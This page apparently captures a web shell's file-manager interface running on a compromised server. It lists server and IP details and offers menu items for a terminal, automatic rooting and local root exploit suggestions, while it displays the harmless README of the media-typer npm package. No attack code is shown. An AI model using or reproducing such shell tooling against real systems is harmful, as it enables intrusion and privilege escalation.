Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.80.46
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp-musonza /
node_modules /
media-typer /
Delete
Unzip
Name
Size
Permission
Date
Action
HISTORY.md
461
B
-rw-r--r--
2014-09-08 04:30
LICENSE
1.06
KB
-rw-r--r--
2014-09-08 04:03
README.md
2.32
KB
-rw-r--r--
2014-09-08 04:06
index.js
6.23
KB
-rw-r--r--
2014-09-08 04:25
package.json
1.65
KB
-rw-r--r--
2021-02-04 21:24
Save
Rename
# media-typer [![NPM Version][npm-image]][npm-url] [![NPM Downloads][downloads-image]][downloads-url] [![Node.js Version][node-version-image]][node-version-url] [![Build Status][travis-image]][travis-url] [![Test Coverage][coveralls-image]][coveralls-url] Simple RFC 6838 media type parser ## Installation ```sh $ npm install media-typer ``` ## API ```js var typer = require('media-typer') ``` ### typer.parse(string) ```js var obj = typer.parse('image/svg+xml; charset=utf-8') ``` Parse a media type string. This will return an object with the following properties (examples are shown for the string `'image/svg+xml; charset=utf-8'`): - `type`: The type of the media type (always lower case). Example: `'image'` - `subtype`: The subtype of the media type (always lower case). Example: `'svg'` - `suffix`: The suffix of the media type (always lower case). Example: `'xml'` - `parameters`: An object of the parameters in the media type (name of parameter always lower case). Example: `{charset: 'utf-8'}` ### typer.parse(req) ```js var obj = typer.parse(req) ``` Parse the `content-type` header from the given `req`. Short-cut for `typer.parse(req.headers['content-type'])`. ### typer.parse(res) ```js var obj = typer.parse(res) ``` Parse the `content-type` header set on the given `res`. Short-cut for `typer.parse(res.getHeader('content-type'))`. ### typer.format(obj) ```js var obj = typer.format({type: 'image', subtype: 'svg', suffix: 'xml'}) ``` Format an object into a media type string. This will return a string of the mime type for the given object. For the properties of the object, see the documentation for `typer.parse(string)`. ## License [MIT](LICENSE) [npm-image]: https://img.shields.io/npm/v/media-typer.svg?style=flat [npm-url]: https://npmjs.org/package/media-typer [node-version-image]: https://img.shields.io/badge/node.js-%3E%3D_0.6-brightgreen.svg?style=flat [node-version-url]: http://nodejs.org/download/ [travis-image]: https://img.shields.io/travis/jshttp/media-typer.svg?style=flat [travis-url]: https://travis-ci.org/jshttp/media-typer [coveralls-image]: https://img.shields.io/coveralls/jshttp/media-typer.svg?style=flat [coveralls-url]: https://coveralls.io/r/jshttp/media-typer [downloads-image]: https://img.shields.io/npm/dm/media-typer.svg?style=flat [downloads-url]: https://npmjs.org/package/media-typer